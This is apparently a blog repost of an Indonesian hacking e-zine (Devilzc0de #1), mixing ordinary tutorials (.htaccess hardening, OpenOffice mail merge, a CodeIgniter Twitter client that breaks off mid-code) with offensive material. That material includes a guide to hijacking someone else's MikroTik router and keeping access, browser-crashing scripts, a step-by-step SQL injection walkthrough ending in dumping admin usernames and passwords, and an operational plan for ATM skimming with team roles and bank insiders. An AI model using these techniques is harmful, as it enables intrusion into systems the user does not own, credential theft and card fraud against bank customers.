Selasa, 20 November 2012

E Zine_BimBim (Nara Sumber Naming "KEPO")

Volume#1 Not for Sale Devilzc0de Ezine #1 Salam sejahtera bagi semua, Internet adalah satu kata yang sudah dikenal di tiap bagian dunia modern. Internet adalah teknologi yang tengah mengendalikan seluruh industri saat ini, dan memacu transaksi bisnis global. Internet tengah mengubah cara kita hidup, cara berkomunikasi, memberi dan memperoleh informasi, memasarkan produk, menjual dan membeli barang ataupun jasa. mencari relasi ataupun kenalan, bahkan belajar dan sekolah. dan masih banyak lagi, dan terus bertambah dan berkembang dari hari ke hari. Internet telah melahirkan satu dunia baru - cyberworld atau cyberspace - yang merupakan dunia virtual reality dan real world of virtuality - dunia maya tapi nyata, dunia nyata tapi maya. Internet telah melahirkan lebih banyak jutawan dan milyader daripada industri manapun juga dalam sejarah dunia, bahkan dalam kurun waktu relativ jauh lebih singkat sekali. Internet masih dalam usia sangat belia. Ia baru saja mulai, tapi sangat revolusioner. Dan mereka yang cukup cerdik untuk memposisikan diri mereka di garisdepan revolusi ekonomis ini adalah mereka yang akan meraup nilai baliknya. E-Zine adalah berasal dari kata elektronik dan magazine artinya adalah majalah elektronik. WhiteCyber E-Zine adalah majalah computer yang membahas networking, linux, hardening, patching, security and hacking di Indonesia. Tujuannya adalah untuk memberikan / berbagi artikel untuk perkembangan IT (Information and Technology) ilmu computer, internet, hacking dan security di Indonesia. Sejarah tanah air kembali terukir dengan hadir dan bangkitnya Devilzc0de kembali ke ranah IT dengan wajah dan Tujuan baru dengan tujuan untuk memberi motivasi kedepan bagi para anggotanya dimana forum ini merupakan wadah untuk saling berbagi dengan harapan semua anggotanya dapat mendapatkan faedah yg baik dan berguna bagi keluarga, bangsa dan negara nya ... Dengan hadirnya E-Zine ini kembali kita semua menjadi pionir-pionir dunia IT yang saling bahu membahu dengan cara berbagi demi kemajuan IT di Tanah Ibu Pertiwi ini, tidak ada perbedaan disini hanya ada persahabatan dan jalinan rasa sebangsa dan setanah air... Devilzc0de sudah mengalami banyak pasang surut, manis pahit semua sudah dilewati sekarang dia kembali dengan bentuk yang lebih tangguh dan lebih flexible dan motivasi yang sudah disempurnakan... Semoga persembahan kami anak anak negri yang sederhana ini bisa menjadi kebanggaan dan bisa menitikkan air mata haru dan bangga dari Ibu Pertiwi... Dan Berguna bagi kita semua... Amin Salam, Segenap Staff & Pengurus Devilzc0de Dari Redaksi Volume#1 Contents Mikrotik Download Manager Chaer.Newbie .htaccess Security Cruz3N SQL injection Gonzhack Dasar Menggunakan Python Whitehat - Membuat Folder dengan Password - Menyembunyikan File ke dalam Gambar el_nino Mengakses Regitry Dari DOS Prompt Misterfribo - Menggunakan Mail Merge di Open Oce 3.x - Bagaimana Mengupdate Status Twittermu dari Code Igniter Petimati - Membuat Server sederhana dengan Debian 4 - Tutorial Remastering Windows Wahyu_devilzc0de - Menulis Sebuah IRC Bot di PHP - Install Ubuntu 9.04 dengan Virtual Box Wenkhairu - fvckerscript - Membobol Account ATM dengan Skimmer Kiddies Devilzc0de Ezine #1 Buat yang baru denger kata mikrotik gw kasih sedikit gambaran tentang , fungsi, kegunaan dan apa itu mikrotik : MikroTik RouterOS™ merupakan sistem operasi Linux base yang diperuntukkan sebagai network router. Didesain untuk memberikan kemudahan bagi penggunanya. Administrasinya bisa dilakukan melalui Windows application (WinBox). Selain itu instalasi dapat dilakukan pada standard computer PC. PC yang akan dijadikan router mikrotikpun tidak memerlukan resource yang cukup besar untuk penggunaan standard, misalnya hanya sebagai gateway. Untuk keperluan beban yang besar ( network yang kompleks, routing yang rumit dll) disarankan untuk mempertimbangkan pemilihan resource PC yang memadai. Fasilitas pada mikrotik antara lain sebagai berikut : • Protokoll routing RIP, OSPF, BGP. • Statefull firewall • Hotspot for Plug-and-Play access • remote winbox GUI admin Meskipun demikian MikroTik bukanlah perangkat lunak berlisensi bebas, dalam arti untuk menggunakan segala fasilitas yang tersedia pada perangkat lunak ini sejumlah lisensi harus dibeli. Versi uji coba hanya disediakan untuk penggunaan selama 24 jam saja. Perangkat lunak ini tersedia dalam bentuk cakram padat, ataupun DOM (bahas inggris: Disk On Module). Khusus untuk versi DOM, perangkat lunak Mikro- Tik telah terpasang pada modul tersebut sehingga tidak memerlukan instalasi khusus, cukup dengan menancapkan modul DOM tersebut pada slot IDE yang tersedia pada komputer. Sumber : http://id.wikipedia.org/wiki/MikroTik [FAQ] Begin + User : Kenapa sih namanya mikrotik Download manager ..? - Chaer: soalnya mikrotiknya yg melakukan direct downloding ( so tau w , padahal biar keren aja pake judul itu) :) + User : kenapa harus mikrotik ? - Chaer : judulnya aja mikrotik download manager , masa pake idm..? :) + User : buat apa sih kita ngelakuin aktifitas ini ...?? emang berguna..? - Chaer: lumayan berguna , contoh kita jebol mikrotik dikampus/ disekolah ( biar ngetrent disekolah/kampus) dengan berbagai macam teknik andalan kita keluarin mulai dari Bruteforce / Soceng / ngemis ngemis / punya temen, bisa juga dapet passwordnya dari hadiah ciki. :) kalo udah tembus passwordnya Masa tuh router kita diemin / Kita reset doang (berharap internetnya mati).? Ckckck suatu tindakan yg anarkis, Mending kita Bikin Mikrotiknya yg download, Terus kita tinggal maen/ pulang, terus besok paginya kita ambil ...( ini baru tindakan yg sangat mulia , Menyusup tetapi tidak merusak) , Hahahhahah + User : terus kenapa ga ditaro dari idm nya langsung terus di taro client...? - Chaer : Hmmm.. kalo ditaro di client Nanti downloadnnya kena limit T_T , kalo dimikrotiknya langsung mungkin ga kena limit (sotoy doang w) End. Mikrotik Download Manager Devilzc0de Ezine #1 Focus Sesuai judulnya, Mikrotiknya gw jadiin buat mesin download. hehehehe okeh alat dan bahannya : 1. Capucino 2. Mie Kremes Recomended anak Mas 3. Mikrotik Router ( yg udah kita Takeover /punya orang / sejenisnya) 4. Pc buat Remote ( terserah sih) hahahaha Mulai Berhalusinasi : 1. Siapkan Link Download (direct Link) http://openstorage.gunadarma.ac.id/symbian/s60/2nd_edition/language/PythonForS60_1_4_5_2ndEd.S IS 2. kita pisahin satu satu deh sesuai sama http://wiki.mikrotik.com/wiki/Fetch Script Jadinya : /tool fetch address=openstorage.gunadarma.ac.id srcpath=/ symbian/s60/2nd_edition/language/PythonForS60_1_4_5_2ndEd.SIS 3. Masuk Console Mikrotik Ketikan Script yg berada di Langkah ke 2 Jadinya : Tunggu sampe selesai proses downloadnya Selesai deeeh Devilzc0de Ezine #1 Via WINBOX 1. Di Menu Sistem / Script 2. add 3. Terus Ok yaudah tinggal di run script aja! Beres deeeh tunggu filenya didownload selesai hahhahaa... Finishing Kita buka ftp router mikrotiknya ftp://ip-mikrotik Kalo punya gua sih pake ftp://192.168.1.1/ ketik di mozila Diminta masukin Password , masukin aja Terus Keluar ini Tinggal kita ambil ...heheheh Devilzc0de Ezine #1 Nb : Buat jaga jaga seandainya si admin mau ganti password router kita bikin schedule auto backup , Terus Auto backup dikirim deh ke email kita... Nanti tutor ini buat ezine ke 2...ato ane post di forum, hehehehe Kekurangan : • Apabila Routernya mati otomatis Downloadan kita juga mati T_T • Kalo download filenya gede, Harddisk mikrotiknya juga kudu gede T_T • Harus Direct link download Kelebihan : • Kalo kita download disitu kayaknya kita ga bakal kena limit di mikrotik...hahaha (Kayaknya ) • Bisa ditinggalin pulang, Serasa nanem torrent, Kesimpulan: • Dari tutorial diatas dapat kita simpulkan bahwa sebenernya w nih nulis tutorial apa bikin Laporan ?,,,awkawkkawkawkawkaw Writen By : Chaer.Newbie For Devilzc0de.org | Chaer.Newbie [at] Gmail [dot] com Credit Special Thx : Allah SWT , beserta nabi Muhammad SAW ( beserta pengikutnya ) Ray16 , gunslinger_, mywisdom, petimati, Pushm0v , gonzhack, Tenro , eightailz , flyff666 ,wisnu_sakti , Cakil , Dewancc , zee_eichel, Bejamz , Nacko, el_nino, wahyu_devilz0de And All STAFF, Moderator, Admin and Activis Devilzc0de.org , hacker-newbie.org , Tecon-crew.org And semua forum yg udah w jelajahi Devilzc0de Ezine #1 Apache web server memiliki beberapa pilihan konfigurasi yang tersedia untuk admin server. Di lingkungan beberapa hosting yang di-share, anda tidak punya akses untuk konfigurasi utama Apache sehingga anda terpaksa menggunakan konfigurasi default. Tapi anda bisa saja mengganti beberapa default setting dengan membuat / mengubah sebuah file bernama .htaccess. File .htaccess adalah file teks ASCII sederhana yang terletak di direktori www atau di sebuah sub direktori folder www. Anda bisa membuat atau mengedit file ini di Text Editor (Notepad) dan kemudian menguploadnya ke direktori yang ingin anda ubah setting-nya. Pastikan bahwa file tersebut diupload dalam format ASCII bukan BINARY, dan pastikan file permission untuk file tersebut telah diset menjadi 644 (rwr- r–). Hal tersebut memungkinkan server untuk mengakses file tapi mencegah user untuk mengakses file tersebut dari browser mereka. Secara default windows tidak akan mengijinkan apabila kita akan membuat file dengan nama .htaccess Nah ada beberapa cara utuk membuat file tersebut tapi kita dapat dengan mudah untuk membuat file tersebut menggunakan Command Prompt. Ketiklah perintah berikut Itu sedikit penjelasan tentang .htaccess dan pada tutorial kali ini saya tidak akan banyak menjelaskan tentang apa dan bagaimana itu file .htaccess tetapi beberapa kegunaan file ini yang akan bermanfaat untuk Sekuritas. Oke langsung saja. . .htaccess Security Devilzc0de Ezine #1 1. Mencegah Akses Ke .htaccess Tambahkan baris berikut untuk menambah keamanan dari file .htaccess sehingga apabila ada usaha untuk mengakses file tersebut akan muncul pesan kesalahan 403. Tentu saja tidak lupa memberikan file permissionnya menjadi 644. order allow,deny deny from all 2. Mencegah Akses Ke File Tertentu Untuk membatasi akses ke file tertentu kita dapat menggunakan perintah berikut. Ganti nama rahasia.txt menjadi sesuai dengan kebutuhan anda. Nantinya file tersebut akan disembunyikan dan apabila terdapat usaha untuk mengakses file tersebut akan terjadi error 403. order allow,deny deny from all 3. Mencegah Akses Ke Banyak File Anda bisa mengganti beberapa extension dibawah sesuai dengan yang Anda butuhkan. Order Allow,Deny Deny from all 4. Mencegah User Melakukan Browsing Pada Setiap Direktori Server Kita Options All -Indexes 4.1. Mengijinkan User Melakukan Browsing Jika anda mengijinkan user untuk melakukan browsing pada “direktori yang telah kita tentukan” cukup menambahkan perintah seperti dibawah ini. ( Cukup tempatkan file .htaccess pada folder yang diinginkan ) Devilzc0de Ezine #1 Options All +Indexes 4.2. Mencegah User Melakukan Browsing Tanpa Pesan Error 403 IndexIgnore * 4.3. Mencegah User Melakukan Browsing Dengan Membatasi Extension File. IndexIgnore *.wmv *.mp4 *.avi *.etc 5. Mengubah Index File Secara default apabila kita membuat beberapa file dan salah satunya terdapat index file, maka file tersebutlah yang akan dijalankan terlebih dahulu. Dengan menggunakan .htaccess kita dapat merubahnya menjadi nama file yang kita inginkan. DirectoryIndex ganti.php 6. Menyamarkan Extension PHP Ini sangat berguna untuk menambahkan keamanan pada aplikasi PHP yang anda buat. anda bisa mengganti extension php pada aplikasi anda dengan extension yang telah anda daftarkan, Mungkin “LOL”, “hacking”, dll. Nah dengan kode berikut, file tersebut akan tetap dibaca sebagai file PHP. Sedikit catatan, biasanya saya mencari file httpd.conf dan menambahkan extensionnya disitu, akan tetapi inilah kelebihan .htaccess. Kita tidak perlu merubah settingan asli pada Apache. AddType application/x-httpd-php .hacking 7. Membatasi Akses Ke LAN (Local Area Network) order deny,allow deny from all allow from 192.168.1.5 7.1. Bisa Menambahkan Domain order allow,deny allow from all deny from 192.168.1.5 deny from .*domain\.com.* Devilzc0de Ezine #1 8. Mencegah Hotlinking Hotlinking merupakan pencurian bandwidth melalui penggunaan sebuah image yang akan dipasang pada suatu halaman pada website lain, sehingga bandwidth dari website asal akan tersedot bila image yang dipasang pada website lain itu dibuka. Atau secara simple bisa diterjemahkan, ada orang lain yang mengkopi link image dari website kita dan menempatkannya pada website miliknya. Memang tidak terlalu banyak memakan bandwith akan tetapi hal ini cukup mengganggu dan mungkin kita bisa memberi sedikit pelajaran kepada si Pelaku :D. Kita akan melakukan beberapa praktek ringan. 1. Ketik kode berikut dan simpan dengan nama gambar.php <?php echo($pic); ?> Test Hotlinking
2. Siapkan gambar dengan nama pemandangan.jpg 3. Upload kedua file tersebut ke file hosting. Pada contoh kali ini saya menggunakan 2 file hosting yang berbeda. 4. Buka browser dan ketik URL sebagai berikut http://website1.com/gambar.php?pic=pemandangan.jpg Devilzc0de Ezine #1 Maka hasil yang didapat sebagai berikut Bila hanya seperti ini orang lain bisa saja melakukan Copy Image URL untuk menampilkannya di website miliknya. http://website1.com/pemandangan.jpg Nah untuk mencegah hal itu terjadi maka kita harus menyiapkan file .htaccess yang berisi baris-baris seperti ini RewriteEngine On RewriteCond %{REQUEST_FILENAME} .*jpg$|.*gif$|.*png$ [NC] RewriteCond %{HTTP_REFERER} !^$ RewriteCond %{HTTP_REFERER} !websitekamu\.com [NC] RewriteCond %{HTTP_REFERER} !websiteteman\.com [NC] RewriteCond %{HTTP_REFERER} !google\. [NC] RewriteCond %{HTTP_REFERER} !search\?q=cache [NC] RewriteRule (.*) /gambar.php?pic=$1 Maka ketika seseorang melakukannya lagi maka dia tidak akan mendapatkan hasil apa-apa. Devilzc0de Ezine #1 9. Memberikan Password Pada File AuthType Basic AuthName "Prompt" AuthUserFile /home/path/.htpasswd Require valid-user 9.1. Memberikan Password Pada Banyak File AuthType basic AuthName "Development" AuthUserFile /home/path/.htpasswd Require valid-user 9.2. Memberikan Password Pada Direktori Dimana .htaccess Berada resides AuthType basic AuthName "This directory is protected" AuthUserFile /home/path/.htpasswd AuthGroupFile /dev/null Require valid-user 10. Otomatis Memberikan CHMOD Kepada Setiap File chmod .htpasswd files 640 chmod .htaccess files 644 chmod php files 600 11. Melindungi Dari Serangan DOS ( Denial Of Service ) Dengan Membatasi Upload File Ini adalah salah satu metode sederhana yang bisa kita gunakan untuk mencegah serangan DOS. Disini kita membatasi ukuran upload sebesar 10240000 byte yang setara dengan 10 mb. LimitRequestBody 10240000 12. Mengamankan Direktori Dari Pengeksekusian Script Atau File AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi Options -ExecCGI By Cruz3N Contact : cruzenaldo[at]gmail[dot]com Blog : cruzenaldo[dot]blogspot[dot]com Web : cruzenaldo[dot]com (Coming Soon :D ) Devilzc0de Ezine #1 0x01. Pendahuluan 0x02. Crashing Browser =>infinite alert box =>infinite open window =>infinite frame =>memory hog =>white screen of the death => IE crash v 4.x 0x03. Penutup 0x01. Pendahuluan. ok kawan, sering kita memakai browser, tapi tahu tidak kadang browser kita suka crash karena web page yang kita buka, padahal seharusnya dan semestinya web page yang baik tidak menyebabkan browsernya mengalami crash. Nah, dalam ezine ini gue akan membahas tentang bagaimana membuat browser crash. Ok, gue cuma ingetin kalo terjadi masalah terhadap browsernya, matikan dengan task manager, atau kalo gak bisa, reboot ajah ok,hehehehe. 0x02. Crashing Browser. Ok , teman2 semuanya, disini gue akan kasih permainan hacking lama gue ok,hehehe. Yups langsung ajah yah. =>infinite alert box nah kalo ini mungkin sering kita jumpai yah, memunculkan alert box di browser, scriptnya cukup mudah script : nah script diatas buat memunculkan alert box yang g bakalan bisa di close,soalnya script tersebut akan mucul trus ketika di tutup. fvckerscript Devilzc0de Ezine #1 =>infinite open window script: nah kalo yang ini buat membuka browser tanpa henti,nanti lama kelamaan akan crash tuh browser =>infinite frame ini di coba pada IE 4 ok. Script frame.html: script iframe.html: jadi program ini adalah untuk frame dalam frame, kalo lama kelamaan ini juga data menibulkan web browser hang. Devilzc0de Ezine #1 =>memory hog program ini dapat mengalokasikan memory sampe g bersisa, kalo pada windows 9x akan crash. Script: =>white screen of the death script: ini akan membuat tampilan browser menjadi putih melompong,hehehehe nb : ane muenggunakan IE v 4 kebawah untuk melakukan aksi seperti diatas, silahkan di kembangkan lagi agar dapat menukan kelemahan pada browser2 baru ok...hehehe beginilah permainan dahulu kala ane sebelum kenal ini itu dan program. 0x03. Penutup makasih buat kawan2 w yang udeh dukung w selama ini. Thanks: mywisdom,petimati,gunslinger_(moga cepet sembuh),whitehat, devil_nongkrong dan kamu. Buat devilzc0de maju terus ok, jgn pernah menyerah banyak yang udeh kita lewati dan ternyata kita tetep solid satu sama lain. Devilzc0de Ezine #1 halo kawan2...mungkin sekarang lagi hot2nya bahas tentang bagaimana cara membobol ATM dengan skimmer...nah disni w mau jelasin bagaimana cara membobol ATM dengan skimmer, disni w akan jelasin langkah demi langkah globalnya ajah ok...inget jgn disalah gunakan dan jgn pula disebarluaskan, nanti ngeri banyak ngembad ATM orang dan w ngeri disangka yang melakukan tindakan carding ini... sebenernya w nulis ini juga terinspirasi dari film hacker yang berjudul sneaker yang hanya memanfaatkan social engineering dia bisa melakukan aktifitas masuk ke dalam sistem..udeh yah ceritanya.... ok langkah pertama dalam membobol ATM dengan teknologi adalah 1.beli skimmer kalo bisa dari luar negri, jgn dari dalem, soalnya sekarang udeh riskan. 2.amati ATM yang mau kita susupi. 3.utamakan kerja team (minimal team:5 sampe 6 orang), lebih dari ketentuan itu, tanggung sendiri kalo mudah tertangkap.. 4.pedeketan terhadap penjaga ATM. 5.kamera pengintai yang kecil.kalo gede pasti ketahuan ok langsung ajah yah setelah kita mendekati dan mengamati lokasi serta jam berapa waktu apa dan hari apa ATM tersebut tidak ramai dikunjungin nasabah dan kita telah soceng ke orang dalem bank atau bisa juga kita kerjasama dengan orang dalem bank (kalo kerjasama sama orang dalem bank harus tahu cara kerja sistem bank di tiap departementnya)... gunanya team: 3 orang pengawasan jarak jauh,2 orang melakasanakan ekseskusi terhadap pemasangan alat(skimmer & kamera pengintai), 1 orang pengawasan dari jarak dekat nah dari situ kita bisa bobol account ATM orang yang tidak hati2... sebelum melakukan aktifitas ini harus paham cara kerja skimmer dan kamera pengintai, serta langkah2 yang disebutkan ok.... makasih buat kawan2 w yang udeh dukung w selama ini. Thanks: mywisdom,petimati,gunslinger_(moga cepet sembuh),whitehat, devil_nongkrong dan kamu. Buat devilzc0de maju terus ok, jgn pernah menyerah banyak yang udeh kita lewati dan ternyata kita tetep solid satu sama lain. Contact : crasher_1412@yahoo.com & peneter@yahoo.com blog : http://kiddiez.co.cc http://kiddiescode.wordpress.com remember : To much love will kill you !!!!! w udeh rasain itu soalnya. Membobol Account ATM dengan Skimmer Devilzc0de Ezine #1 Pengertian sql injection: SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data. Yang perlu di ketahui sebelum sql injection pada mysql: karakter: ' atau - comments: /* atau -- information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x =========== =step Satu:= =========== carilah target misal: [site]/berita.php?id=100 Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error. contoh: [site]/berita.php?id=100' atau [site]/berita.php?id=-100 sehingga muncul pesan error seperti berikut (masih bnyak lagi): ========== =step Dua:= ========== mencari dan menghitung jumlah table yang ada dalam databasenya... gunakan perintah : order by contoh: [site]/berita.php?id=-100+order+by+1-- atau [site]/berita.php?id=-100+order+by+1/* ceklah secara step by step (satupersatu)... misal: [site]/berita.php?id=-100+order+by+1-- [site]/berita.php?id=-100+order+by+2-- [site]/berita.php?id=-100+order+by+3-- [site]/berita.php?id=-100+order+by+4-- sehingga muncul error atau hilang pesan error... misal: [site]/berita.php?id=-100+order+by+9-- berarti yang kita ambil adalah sampai angka 8 menjadi [site]/berita.php?id=-100+order+by+8-- SQL Injection Devilzc0de Ezine #1 =========== =step Tiga:= =========== untuk mengeluarkan angka berapa yang muncul gunakan perintah union karena tadi error sampai angka 9 maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8-- ok seumpama yg keluar angka 5 gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau [site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8-- lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema.. untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_schema.. ============ =step Empat:= ============ untuk menampilkan table yg ada pada web tsb adalah perintah table_name >>> dimasukan pada angka yg keluar tadi perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir [site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables-- seumpama table yang muncul adalah "admin" =========== =step Lima:= =========== untuk menampilkan semua isi dari table tsb adalah perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir [site]/berita.php?id=- 100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables+where+t able_schema=database()-- Devilzc0de Ezine #1 ============= = step Enam: = ============= perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi perintah +from+information_schema.columns+where+table_name=0xhexa-- >>> dimasukan setelah angka terakhir [site]/berita.php?id=- 100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where +table_name=0xhexa-- pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya website yg digunakan untuk konversi : www.ascii-convert.co.cc contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E [site]/berita.php?id=- 100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where +table_name=0x61646D696E-- ============ =step Tujuh:= ============ memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir [site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)-- contoh kata yang keluar adalah id,username,password [site]/berita.php?id=- 100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin-- Devilzc0de Ezine #1 ============== = step Delapan:= ============== tahap terakhir mencari halam admin atau login selanjutnya terserah anda karena kekuasaan web ada di tangan anda... [+] Author : Gonzhack [+] Homepage : http://www.indonesiancoder.com Devilzc0de Ezine #1 Mail Merge adalah fasilitas writer untuk membuat surat secara masal berdasarkan template digabung dengan data yang sudah ada. Berikut akan dijelaskan cara menggunakan Mail Merge pada Open Office 3.0: Kondisi: OS Ubuntu 9.04(secara default sudah terdapat Open Office 3.0) 1. Ubuntu 9.04 walaupun defautnya sudah terdapat Open Office 3.0, tetapi software yang dibutuhkan untuk mengolah Database Office belum ada yaitu OpenOffice.org Base, jadi kita perlu mengistall software tsb. Buka Synaptic lalu ketik OpenOffice.org-base pada field search, pilih lalu install. 2. Buka OpenOffice Calc, buat data seperti di bawah ini: Lalu Save, beri nama upass.xls(Simpan dalam format Xls). Menggunakan Mail Merge di Open Office 3.x Devilzc0de Ezine #1 3. Buka OpenOffice Word, o pada menu pilih File=> Wizard=>Address Data Source. o Kemudian pilih Other external data source. Pada Connection Setting pilih Setting => Spreadsheet => Next. o Klik Browse, arahkan menuju file sumber data Anda, sesuaikan book name. Finish. o (Option)Test Connection terlebih dahulu untuk menguji apakah file Anda benar-benar bisa diubungkan. o Selanjutnya, tekan tombol F4 atau klik menu View => Data Sources, sehingga Anda memiliki tampilan Data Source seperti berikut. Klik dua kali pada Sheet1 untuk melihat sumber data yang telah kita buat di aplikasi spreadsheet. Jika Anda menemui kesulitan untuk menampilkan sumber datanya, padahal sudah mengikuti langkah-langkah di atas, maka Anda lakukan refreshing data, caranya dengan tekan F4 beberapa kali. Buat Template Office Word seperti di bawah: Devilzc0de Ezine #1 o Drag dan drop dari data di atas ke dokumen utama kita, untuk Nama, Username dan Password. o Untuk mencetak hasilnya, klik File => Print. Pilih Yes jika ada pertanyaan konfirmasi. Option: singgle doc jika anda menginginkan data disimpan dalam 1 file, dan individual doc jika anda menginginkan data terpisah menurut jumlah record. "SELAMAT MENCOBA" Devilzc0de Ezine #1 Pada tutorial ini, kita akan mengupdate status twitter kita melalui 'Twitter API' menggunakan CodeIgniter. Saya rekomendasikan anda mengikuti langkah demi langkah sampai tutorial ini selesai... 1. Konfigurasi CodeIgniter Pertama kali yang kita perlu edit adalah config. Buka system/application/config/autoload.php, lalu edit lah baris : menjadi Ini akan memuat otomatis library database. Lalu buka database.php dan sesuaikan settingan koneksinya. nama database anda, username dan passwordnya. Untuk nama database kita gunakan ci_twitter_api. Sekarang bukalah config.php, Lalu rubahlah base_url untuk ci anda. Jadi didalamnya saya meletakkan folder system untuk ci saya. Ok. Saya rubah menjadi : 2. Mengisi Database Silahkan buka tools untuk membuat database, bisa PHPMyAdmin, SQL Buddy atau yang lainnya. Silahkan membuat database baru ci_twitter_api. Kita akan membuat tabel dan mengisinya dengan username dan password kita di twitter. Berikut query nya... CREATE TABLE IF NOT EXISTS `accounts` ( `id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(120) NOT NULL, `password` varchar(32) NOT NULL, `active` int(11) NOT NULL, `last_message` varchar(140) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=3 ; INSERT INTO `accounts` (`id`, `username`, `password`, `active`, `last_message`) VALUES (1, 'username', 'password', 1, 'No message sent'); 3. Membangun Model Menuju system/application/model, lalu buatlah satu file twitter_model.php. Pertama, kita akan mendeklarasikan 2 variabel : Bagaimana Mengupdate Status Twittermu dari Code Igniter Devilzc0de Ezine #1 Jadi, $accounts_table merujuk pada tabel yang telah kita buat tadi, sedangkan $update_url adalah alamat URL yang akan mengupdate status kita pada twitter. Jika twitter merubah URL tersebut, anda tinggal ganti saja $update_url menjadi alamat yang bisa digunakan untuk mengupdate status anda ditwitter. Sekarang kita akan membuat metode pertama yang akan mengembalikan akun yang aktif pada database, bernilai 1 baris dan aktif. Saya telah menambah ini karena terkadang, seseorang mempunyai satu atau lebih akun twitter. db->get_where($this->accounts_table, array('active' => '1'))->row(); } ?> Kita akan menggunakan active record untuk mengambil akun yang aktif dan mengembalikan baris yang dihasilkan. Langkah selanjutnya, kita akan membangun metode utama, Ini akan menggunakan username dan password, tentu saja dengan pesan yang akan kita gunakan untuk menjadi status kita. update_url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, 'status='.urlencode($message)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERPWD, $username . ':' . $password); curl_exec($ch); $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE); Devilzc0de Ezine #1 // if we were successfull we need to update our last_message if ($httpcode == '200') { $this->db->where('active', '1'); $this->db->update($this->accounts_table, array('last_message' => $message)); return TRUE; } else { return FALSE; } } ?> Pada baris pertama kode diatas mungkin terlihat complicate tapi sebenarnya tidak sulit untuk dimengerti. Bagian paling penting yang kita gunakan adalah cURL untuk berkomunikasi dengan Twitter. Itu library yang sangat mantap yang memperbolekan kita untuk mengirim dan menerima HTTP POST data dari Twitter. Lalu curl-init menunjukkan sesi cURL dan mengambil URL sebagai parameter - dalam kasus ini, URL update status dari Twitter API. Lalu, curl_setopt, kita mengeset beberapa opsi yang biasa digunakan untuk transfer cURL. • CURLOPT_POST : Kita set menjadi '1' untuk menggunakan HTTP POST, yang sama kita gunakan dalam Form HTML. • CURLOPT_POSTFIELDS : Opsi ini untuk menerima POST data yang kita kirim. Dalam kasus ini 'status=' pesan kita. Kita perlu meng-encode URL pesan kita sehingga bisa menggunakan karakter khusus seperti '%&/' • • CURLOPT_RETURNTRANSFER : Ini sangat penting untuk kita set menjadi '1' karena akan mengembalikan transfer menjadi string. Dimana string tersebut akan memberitahu kita apakan status kita telah berhasil terupdate ataukah tidak • CURLOPT_USERPWD : opsi ini untuk otentikasi. Ini secara sederhana menggunakan username dan password twitter kita dalam format username:password Pada bagian bawahnya kita mengekusi transfer dengan curl_exec() dan mengambil HTTP_CODE yang dikembalikan menggunakan curl_getinfo(CURLINFO_HTTP_CODE). HTTP_CODE ini memberitahu kita jika status update kita sudah komplit atau kah belum. Kode '200' berarti berhasil dan update telah dilakukan. Jika kita mendapatkan kode '200' dari Twitter, kita kirim query ke database kita dimana baris terakhir pesan kita telah terupdate, dan akhirnya kita kembalikan nilainya menjadi TRUE, jika 200 tidak ada, kita kembalikan nilainya menjadi FALSE. Devilzc0de Ezine #1 Dalam akhir twitter_model ini, kita akan membuat metode terakhir yang mana, kita akan mendapatkan pesan terakhir yang kita kirim. Kita perlu membuat metode ini karena kita akan menampilkan pesan yang paling sering dibuat dalam satu view. db->select('last_message'); $last_message = $this->db->get_where($this->accounts_table, array('active' => '1'))->row()- >last_message; return htmlspecialchars($last_message); } ?> Metode ini sangatlah simple. Metode tersebut memilih baris pesan terakhir dari akun yang aktif dan mengembalikan dan merubahnya dengan htmlspecialchar menjadi entiti HTML. Sekarang twitter_model.php kita akan terlihat seperti dibawah ini : db->get_where($this->accounts_table, array('active' => '1'))->row(); } // update twitter status and last message on success function update_status($username, $password, $message) { $ch = curl_init($this->update_url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, 'status='.urlencode($message)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERPWD, $username . ':' . $password); Devilzc0de Ezine #1 curl_exec($ch); $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE); // if we were successfull we need to update our last_message if ($httpcode == '200') { $this->db->where('active', '1'); $this->db->update($this->accounts_table, array('last_message' => 